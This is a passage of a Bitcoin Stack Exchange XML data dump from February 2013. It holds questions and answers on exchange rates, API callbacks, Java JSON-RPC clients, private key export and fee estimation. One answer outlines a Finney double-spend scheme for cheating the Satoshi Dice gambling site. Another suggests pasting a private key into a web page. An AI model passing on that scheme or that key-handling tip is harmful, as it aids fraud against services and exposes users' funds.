href=&quot;http://www.wealthwire.com/news/metals/3661&quot; rel=&quot;nofollow&quot;&gt;offers that&lt;/a&gt;.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-08T13:22:03.427" LastActivityDate="2013-02-08T13:22:03.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostTypeId="2" ParentId="7504" CreationDate="2013-02-08T13:20:08.627" Score="10" Body="&lt;p&gt;Yes. There are currently about 10 million unique addresses in the block chain, so 0.1 BTC would be enough to send a satoshi to each address. The transaction data would be about 340 MB. The network's anti-spam protections would make this project either very expensive (due to transaction fees) or very time-consuming.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-02-08T13:27:33.320" LastActivityDate="2013-02-08T13:27:33.320" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostTypeId="2" ParentId="7500" CreationDate="2013-02-08T14:48:35.077" Score="3" Body="&lt;p&gt;There have been a number of deletions, but most threads and replies are still intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change any URL forum.bitcoin.org/XXXX to bitcointalk.org/XXXXX or bitcoin.org/smf/XXXXX to bitcointalk.org/XXXXX&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-08T14:48:35.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostTypeId="2" ParentId="1261" CreationDate="2013-02-08T15:59:03.023" Score="4" Body="&lt;p&gt;If you're comfortable with putting your private key in JavaScript, you can go to brainwallet.org and under the transactions tab, you can hand craft a transaction message where you set the fee to whatever you want. Keep in mind that if it's nothing, brainwallet won't keep on retransmitting it. Also, it's possible that it will never be confirmed, but most clients will delete unconfirmed transactions after three days.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-02-08T15:59:03.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostTypeId="2" ParentId="5203" CreationDate="2013-02-08T16:16:52.943" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://blog.brycekerley.net/post/5338746136/bitcoin-mining-on-amazon-ec2&quot; rel=&quot;noreferrer&quot;&gt;http://blog.brycekerley.net/post/5338746136/bitcoin-mining-on-amazon-ec2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here its explained at best, that it is NOT profitable even on the GPU servers ;)&lt;/p&gt;&#xA;" OwnerUserId="2852" LastActivityDate="2013-02-08T16:16:52.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostTypeId="1" CreationDate="2013-02-08T22:55:37.940" Score="0" ViewCount="130" Body="&lt;p&gt;New to bit coin use. I have noticed over the past few months that the exchange rate has ballooned from 13 to now 22 $ a coin, this presents a problem, prices are almost never adjusted to account for the massive inflation; how is the rate set and are there ways of getting bit coins  (I use spendbitcoins.com) are a fairer rate. I would also like to say that if inflation on the coins continues to rise it will put a lot of market places out of business.&lt;/p&gt;&#xA;" OwnerUserId="2855" LastEditorUserId="2306" LastEditDate="2013-02-09T00:19:31.597" LastActivityDate="2013-02-09T00:39:32.967" Title="it goes up and up and up" Tags="|economic-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7519" PostTypeId="1" AcceptedAnswerId="7530" CreationDate="2013-02-08T23:58:35.270" Score="1" ViewCount="792" Body="&lt;p&gt;I just started using the Blockchain.info API, I've set it up to notify me when a payment is made, however all addresses in the callback are the destination address. Shouldn't I have the senders address as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of getting the senders address, otherwise how am I supposed to reply?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know transaction has the address, do I just pull the first address from inputs of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="2793" LastEditorUserId="2793" LastEditDate="2013-02-09T00:06:04.507" LastActivityDate="2014-10-24T03:37:38.867" Title="Blockchain.info - How to reply to a sender in a callback?" Tags="|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7520" PostTypeId="2" ParentId="7519" CreationDate="2013-02-09T00:08:34.330" Score="0" Body="&lt;p&gt;I have not tried anything with the blockchain API, but you are trying to reply to a POST they sent you, then just echo or print whatever you are sending back to blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to retrieve data (provided it is POSTed) you can use this to figure out what all is being sent to you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($_POST as $key =&amp;gt; $value){&#xA;    $data = $key.' =&amp;gt; '.$value.' : '.$data;&#xA;}&#xA;&#xA;file_put_contents('FILENAME.txt', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2813" LastActivityDate="2013-02-09T00:08:34.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7521" PostTypeId="1" AcceptedAnswerId="7522" CreationDate="2013-02-09T00:09:29.730" Score="8" ViewCount="1172" Body="&lt;p&gt;Is it possibile for a mining pool to attack Satoshi Dice? A strategy might be: bet on Satoshi Dice and if the bet wins, do nothing, if it looses, don't put the transaction in the block (try to double spend) and hope, that the pool find the block. If the hash rate of the pool is big enough this should beat the house edge of Satoshi? Did I miss something?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="845" LastEditDate="2013-02-09T16:14:16.613" LastActivityDate="2013-02-09T16:14:16.613" Title="Could a mining pool attack Satoshi Dice?" Tags="|attack|satoshidice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7522" PostTypeId="2" ParentId="7521" CreationDate="2013-02-09T00:32:22.793" Score="7" Body="&lt;p&gt;You're absolutely correct. The following would completely work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get ready to perform a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Finney_attack&quot;&gt;Finney attack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Gamble some coins.&lt;/li&gt;&#xA;&lt;li&gt;If you lose, go through with the Finney attack. Otherwise, cancel your Finney attack, and collect your 1250 BTC from satoshidice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is anybody doing this? I don't know.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-02-09T04:08:23.543" LastActivityDate="2013-02-09T04:08:23.543" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7523" PostTypeId="2" ParentId="7517" CreationDate="2013-02-09T00:39:32.967" Score="3" Body="&lt;p&gt;The rate is set by supply and demand.  If there are buyers willing to pay $25, and sellers selling for $25.25+,  Then eventually someone will either buy at $25.25, or sell at $25, which then moves the price. This current price movement is due to speculation. People are buying and holding coins, and there are far more buyers than sellers. So naturally the price will continue moving up. &lt;/p&gt;&#xA;" OwnerUserId="2858" LastActivityDate="2013-02-09T00:39:32.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7524" PostTypeId="1" AcceptedAnswerId="7526" CreationDate="2013-02-09T01:36:22.483" Score="4" ViewCount="7058" Body="&lt;p&gt;I'm thinking about possibly getting a BitForce Jalapeno (&lt;a href=&quot;http://products.butterflylabs.com/4-5gh-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;http://products.butterflylabs.com/4-5gh-bitcoin-miner.html&lt;/a&gt;) It says that it needs &quot;EasyMiner&quot; which is only for Windows. (The download page links to a .exe file). Does anyone know if they're planning to make a version for mac? Are they any alternatives? (In software, not hardware)&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="5406" LastEditDate="2016-03-31T16:55:27.357" LastActivityDate="2016-03-31T16:55:27.357" Title="Is there a version of EasyMiner for Mac?" Tags="|mining-software|butterfly-labs|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7525" PostTypeId="2" ParentId="7502" CreationDate="2013-02-09T06:53:53.030" Score="0" Body="&lt;pre&gt;&lt;code&gt;$data = json_decode(file_get_contents('php://input'), TRUE);&#xA;$text = print_r($data,true);&#xA;file_put_contents('coinbase.txt', $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This actually sends the following information to a text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [order] =&amp;gt; Array&#xA;        (&#xA;            [id] =&amp;gt; &#xA;            [created_at] =&amp;gt; &#xA;            [status] =&amp;gt; new&#xA;            [total_btc] =&amp;gt; Array&#xA;                (&#xA;                    [cents] =&amp;gt; 100000000&#xA;                    [currency_iso] =&amp;gt; BTC&#xA;                )&#xA;&#xA;            [total_native] =&amp;gt; Array&#xA;                (&#xA;                    [cents] =&amp;gt; 2270&#xA;                    [currency_iso] =&amp;gt; USD&#xA;                )&#xA;&#xA;            [custom] =&amp;gt; 123456789&#xA;            [button] =&amp;gt; Array&#xA;                (&#xA;                    [type] =&amp;gt; buy_now&#xA;                    [name] =&amp;gt; Test Item&#xA;                    [description] =&amp;gt; &#xA;                    [id] =&amp;gt; &#xA;                )&#xA;&#xA;            [transaction] =&amp;gt; Array&#xA;                (&#xA;                    [hash] =&amp;gt; 4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&#xA;                    [confirmations] =&amp;gt; 0&#xA;                )&#xA;&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2813" LastActivityDate="2013-02-09T06:53:53.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostTypeId="2" ParentId="7524" CreationDate="2013-02-09T09:54:44.803" Score="4" Body="&lt;p&gt;I don't know whether EasyMiner will be ported to Mac. But there will be several other miners supporting the BitForce Jalapeno and other BFL ASIC products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a user-friendly alternative you may want to try out BitMinter client. It has been thoroughly tested with BFL FPGAs mining on Macs. Support for BFL ASICs will be added as soon as possible. This miner is available from &lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;http://bitminter.com&lt;/a&gt;. I am the author of this miner.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-27T10:35:13.527" LastActivityDate="2013-02-27T10:35:13.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7527" PostTypeId="2" ParentId="5825" CreationDate="2013-02-09T13:08:05.043" Score="3" Body="&lt;p&gt;As an alternative to the great tpfaucet, we also give away free testnet coins at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://testnet.mojocoin.com&quot; rel=&quot;nofollow&quot;&gt;http://testnet.mojocoin.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should help out our fellow developers with testnet bitcoins. There's no need to pay for them. &lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2013-02-09T13:08:05.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7528" PostTypeId="1" CreationDate="2013-02-09T13:18:58.783" Score="3" ViewCount="1449" Body="&lt;p&gt;I am starting to use a basic implementation of Bitcoin JSON RPC (&lt;a href=&quot;http://software.dzhuvinov.com/json-rpc-2.0.html&quot; rel=&quot;nofollow&quot;&gt;dzhuvinov library&lt;/a&gt;), and I am getting a strange result. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static void main(String[] args)&#xA;{&#xA;    URL serverURL = null;&#xA;&#xA;    final String rpcuser =&quot;user&quot;;&#xA;      final String rpcpassword =&quot;pass&quot;;&#xA;&#xA;      Authenticator.setDefault(new Authenticator() {&#xA;          protected PasswordAuthentication getPasswordAuthentication() {&#xA;              return new PasswordAuthentication (rpcuser, rpcpassword.toCharArray());&#xA;          }&#xA;      });&#xA;    try {&#xA;        serverURL = new URL(&quot;http://127.0.0.1:18332/&quot;);&#xA;&#xA;    } catch (MalformedURLException e) {&#xA;        System.err.println(e.getMessage());&#xA;        return;&#xA;    }&#xA;     JSONRPC2Session mySession = new JSONRPC2Session(serverURL);&#xA;     String method = &quot;getinfo&quot;;&#xA;     int requestID = 0;&#xA;     JSONRPC2Request request = new JSONRPC2Request(method, requestID);&#xA;     JSONRPC2Response response = null;&#xA;     try {&#xA;             response = mySession.send(request);&#xA;&#xA;     } catch (JSONRPC2SessionException e) {&#xA;             System.err.println(e.getMessage());&#xA;             return;&#xA;     }&#xA;     if (response.indicatesSuccess())&#xA;        System.out.println(response.getResult());&#xA;    else&#xA;        System.out.println(response.getError().getMessage());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the response I am getting is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Invalid JSON-RPC 2.0 response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to note - when executing this Python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;access = jsonrpc.ServiceProxy(&quot;http://user:pass@127.0.0.1:18332/&quot;)&#xA;print access.getinfo()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a proper results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be causing this problem and how should I go about fixing it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-10T09:02:35.627" Title="Bitcoind returning &quot;Invalid JSON-RPC 2.0 response&quot;?" Tags="|bitcoind|json-rpc|java|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7529" PostTypeId="1" AcceptedAnswerId="7545" CreationDate="2013-02-09T14:05:48.473" Score="7" ViewCount="7637" Body="&lt;p&gt;I am having problems communicating between Java and bitcoind - every JSON RPC library I try has some issues. Can anyone provide a working implementation of even the most basic JSON RPC communication between Java and bitcoind ?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2075" LastEditDate="2017-12-04T08:38:54.777" LastActivityDate="2021-07-27T09:06:20.380" Title="How to communicate between Java and bitcoind?" Tags="|bitcoind|json-rpc|java|scala|" AnswerCount="9" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostTypeId="2" ParentId="7519" CreationDate="2013-02-09T14:46:12.413" Score="1" Body="&lt;p&gt;You would need to fetch the transaction using the /rawtx call and use one of those inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you should not send a refund back to the the sending address unless the user has specifically told this is what will happen as shared wallets cannot receive coins back to the sending address.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2013-02-09T14:46:12.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7531" PostTypeId="1" CreationDate="2013-02-10T04:12:38.190" Score="0" ViewCount="79" Body="&lt;p&gt;I was sending bitcoins from Mt. Gox to my bit wallet.  However, the wallet still says its sychronizing.  It says there are 18600 blocks remaining and the count is reducing extremely slowly.  It's been synching for almost a day now.  Are the bit coins I sent from Mt. Gox lost?  Any help would be awesome.&lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2013-02-10T04:12:38.190" Title="It's taking forever to sychronize wallet" Tags="|transactions|" AnswerCount="0" CommentCount="3" ClosedDate="2013-02-10T10:08:53.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="7532" PostTypeId="2" ParentId="4516" CreationDate="2013-02-10T08:14:41.617" Score="0" Body="&lt;p&gt;Okay, so there's a few things about merged mining. The pool must offer it for it to work. I use slosh pool which does it and they mine both bit and name coin; with them, the pool automatically does it and there aren't any extra settings other than the basic login into the miner and pool. It keeps going until you reach an amount you have set and then it deposits it into your wallet. With your pool, it could be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Brief explanation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pool must offer merged mining for you to merge mine.&lt;/li&gt;&#xA;&lt;li&gt;I use slosh pool&lt;/li&gt;&#xA;&lt;li&gt;They automatically do both and deposit into your wallet after you reach the amount you &lt;/li&gt;&#xA;&lt;li&gt;yours might be different &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2869" LastEditorUserId="2306" LastEditDate="2013-02-10T20:17:01.790" LastActivityDate="2013-02-10T20:17:01.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostTypeId="2" ParentId="7506" CreationDate="2013-02-10T08:23:15.400" Score="-2" Body="&lt;p&gt;I would say that with out the regulated trading times such as a stock market you have a chance to lose everything while your sleeping, also with no set times you can't regulate a real price and the sell price becomes what ever who ever your selling them to wants to pay. The up side is no matter where in the world you are you can buy and sell them just as easily.&lt;/p&gt;&#xA;" OwnerUserId="2869" LastActivityDate="2013-02-10T08:23:15.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7534" PostTypeId="2" ParentId="7528" CreationDate="2013-02-10T09:02:35.627" Score="1" Body="&lt;p&gt;As it turns out, the library I am using does not like JSON responses that contain both the field &quot;error&quot; and &quot;response&quot;, even if the &quot;error&quot; field is set to null. I have already notified the creator of the library to possibly fix that issue and I have patched it myself as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;private Map&amp;lt;String,Object&amp;gt; parseJSONObject(final String jsonString)&lt;/code&gt; function, one needs to add this at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Map&amp;lt;String,Object&amp;gt; answer = (Map&amp;lt;String,Object&amp;gt;)json;&#xA;&#xA;    if (answer.containsKey(&quot;error&quot;)){&#xA;        if (answer.get(&quot;error&quot;)==null){&#xA;            answer.remove(&quot;error&quot;);&#xA;        }&#xA;    }&#xA;    if (answer.containsKey(&quot;result&quot;)){&#xA;        if (answer.get(&quot;result&quot;)==null){&#xA;            answer.remove(&quot;result&quot;);&#xA;        }&#xA;    }&#xA;&#xA;    return answer;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-10T09:02:35.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostTypeId="1" CreationDate="2013-02-10T14:56:59.330" Score="27" ViewCount="68424" Body="&lt;p&gt;Trying to use this posted method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export a private key from your Satoshi bitcoin-qt client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&#xA;click on 'help' in the menu bar (top right)&#xA;click on 'debug window'&#xA;select the 'console' tab&#xA;type: walletpassphrase &quot;your walletpassphrase here&quot; 600&#xA;type: dumpprivkey [your bitcoin address here]&#xA;this will return the private key, you can copy it now; ensure you clear your clipboard/history afterwards&#xA;type: walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand what &quot;your walletpassphrase here&quot; means.  I do not have a wallet pass phrase to the best of my knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am a bit of an amateur at this and I still don't understand the &quot;your public key here&quot;..... is that the address that corresponds to your wallet? [Update: Yes, the bitcoin address.] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to export the private key to another wallet because the bitcoin wallet has taken 2 days to sync and is still not done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2865" LastEditorUserId="153" LastEditDate="2019-08-13T04:35:37.433" LastActivityDate="2021-10-29T17:35:46.683" Title="How do I export my private keys from my Bitcoin-Qt client?" Tags="|private-key-export|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7537" PostTypeId="1" CreationDate="2013-02-10T15:17:39.523" Score="9" ViewCount="25079" Body="&lt;p&gt;First of all, this refers to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;How to calculate transaction size before sending&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3400/what-is-the-exact-formula-for-calculating-transaction-fees&quot;&gt;What is the exact formula for calculating transaction fees?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to estimate the TX-Fee I would have to pay in a simple scenario where my wallet contains only 1 address Z that has received X payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then want to pay all the wallets balance to Y different addresses at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I want to spent all of its balance, it would be great to know the transaction-fee, so that I can reduce Y, or pay the fee to Z in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I prefer a worst-case-calculation, is it legit to count every incoming payment to my address as Input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the following calculation correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;normal_fee := 0.0005                            // Taken from Bitcoin-QT&#xA;size := X * 148 + Y * 34 + 10 +- X&#xA;fee := normal_fee / (1 - size / 500kB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2732" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2017-10-30T15:16:56.293" Title="Calculator for estimated TX-Fees" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostTypeId="2" ParentId="7408" CreationDate="2013-02-10T16:41:41.407" Score="1" Body="&lt;p&gt;That transacation has over 1,400 confirmations. I think you might need to run your client with the rescan option on. (That rescans the blockchain for transactions it might have missed)&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-02-10T16:41:41.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7540" PostTypeId="1" AcceptedAnswerId="7542" CreationDate="2013-02-10T16:50:41.663" Score="2" ViewCount="270" Body="&lt;p&gt;Does a wallet in blockchain.info My Wallet contain a pool of extra keys as in bitcoin-qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should the wallet be backed up after every new address is created, or only after several are created?&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-10T18:21:50.013" Title="Does a blockchain.info My Wallet have a key pool?" Tags="|wallet|private-key|blockchain.info|" AnswerCount="1" CommentCount="2" ClosedDate="2013-02-12T02:08:44.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="7541" PostTypeId="1" AcceptedAnswerId="7543" CreationDate="2013-02-10T18:13:31.967" Score="3" ViewCount="487" Body="&lt;p&gt;I would like to get some clarification on which version  of the JSON-RPC protocol does Bitcoin use? 1.0 or 2.0?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-10T18:34:54.933" Title="Which version of the JSON-RPC protocol does Bitcoin use?" Tags="|protocol|bitcoind|bitcoin-core|json-rpc|specification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7542" PostTypeId="2" ParentId="7540" CreationDate="2013-02-10T18:21:50.013" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4627/does-blockchain-info-backup-wallet-include-also-the-next-addresses&quot;&gt;It doesn't&lt;/a&gt; (or, at least, didn't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email backups will be sent to you every time you create a new address.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-02-10T18:21:50.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7543" PostTypeId="2" ParentId="7541" CreationDate="2013-02-10T18:34:54.933" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrpc.cpp#L482&quot; rel=&quot;noreferrer&quot;&gt;A little of both:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// JSON-RPC protocol.  Bitcoin speaks version 1.0 for maximum compatibility,&#xA;// but uses JSON-RPC 1.1/2.0 standards for parts of the 1.0 standard that were&#xA;// unspecified (HTTP errors and contents of 'error').&#xA;//&#xA;// 1.0 spec: http://json-rpc.org/wiki/specification&#xA;// 1.2 spec: http://groups.google.com/group/json-rpc/web/json-rpc-over-http&#xA;// http://www.codeproject.com/KB/recipes/JSON_Spirit.aspx&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-10T18:34:54.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7544" PostTypeId="1" AcceptedAnswerId="7546" CreationDate="2013-02-10T21:42:17.650" Score="6" ViewCount="1544" Body="&lt;p&gt;Google news in recent months has turned up a story about a company in France called Paymium that has been licensed as a bank (without going into just what the company does), and another company that has moved to Atlanta, called Bitpay, which enables customers who have web sites to accept bitcoin payments.  The headlines about the latter seemed to be about the fact that they'd raised something over a half-million dollars from a small number of investors.  Google news didn't include anything about Coinbase, as far as I recall.  But a glance at websites makes it look as if they might all be in approximately the same business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can someone compare and contrast these companies, including, but not limited to, differences and similarities in what they do?  And are there other such companies that are notable and that I've missed here?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="1409" LastEditDate="2013-02-11T00:52:16.497" LastActivityDate="2013-12-31T06:51:06.170" Title="What are the differences and similarities among Paymium, Bitpay, Coinbase, etc.?" Tags="|commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostTypeId="2" ParentId="7529" CreationDate="2013-02-10T22:42:06.967" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/cdelargy/BitcoinRPCClient/blob/master/src/main/java/com/cdelargy/bitcoin/RPCClient.java&quot;&gt;Here's an early experimental client I had played around with a while back&lt;/a&gt;. It supports getInfo, getBalance and getNewAddress, and can easily be expanded. In order to run it, the credentials for your local bitcoind have to match the values in the client class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;httpclient.getCredentialsProvider().setCredentials(new AuthScope(&quot;localhost&quot;, 8332),&#xA;                    new UsernamePasswordCredentials(&quot;btc&quot;, &quot;123&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to use this code in any way, but understand that it's only 5 minutes of work on a start, not a realistic client implementation. Hope it helps you generate some ideas!&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2013-02-10T22:42:06.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostTypeId="2" ParentId="7544" CreationDate="2013-02-11T03:46:56.337" Score="7" Body="&lt;p&gt;Paymium, operates &lt;a href=&quot;http://www.bitcoin-central.net&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Central.net&lt;/a&gt; market exchange.  That exchange has partnered with a financial organization such that your EUR balance held at the exchange will be (once they go live with that) guaranteed by the government.  They will only be doing BTC/EUR when this goes live.  Currently they offer BTC/USD, BTC/GBP and BTC/EUR markets but no fiat balances are currently guaranteed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; is a payment processor for E-Commerce as well as for bricks and mortar / point-of-sale.  This allows a business to accept bitcoins for payment and the proceeds are delivered to the merchant as directed.  This could be 100% fiat (e.g., all bitcoin sales get converted to USDs immediately, or a mix, .. like 30% USD, 70% BTCs, etc.)   The currently can send payments to merchants in U.S., Mexico, Canada and several nations in Europe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; account holders get a secure web-based bitcoin wallet, and by linking a U.S. bank account, the ability to buy/sell bitcoins directly from/to Coinbase at a USD conversion rate that is very close to the last price quoted from London based bitcoin exchange Bitstamp. Coinbase itself is not a crypto-currency exchange. Coinbase also offers bitcoin transaction processing services to merchants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a few exchanges.  The bitcoin.it Wiki has &lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;Buying bitcoins&lt;/a&gt; and &lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;Selling bitcoins&lt;/a&gt; indexes that are fairly comprehensive as to the options available.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="11607" LastEditDate="2013-12-31T06:51:06.170" LastActivityDate="2013-12-31T06:51:06.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
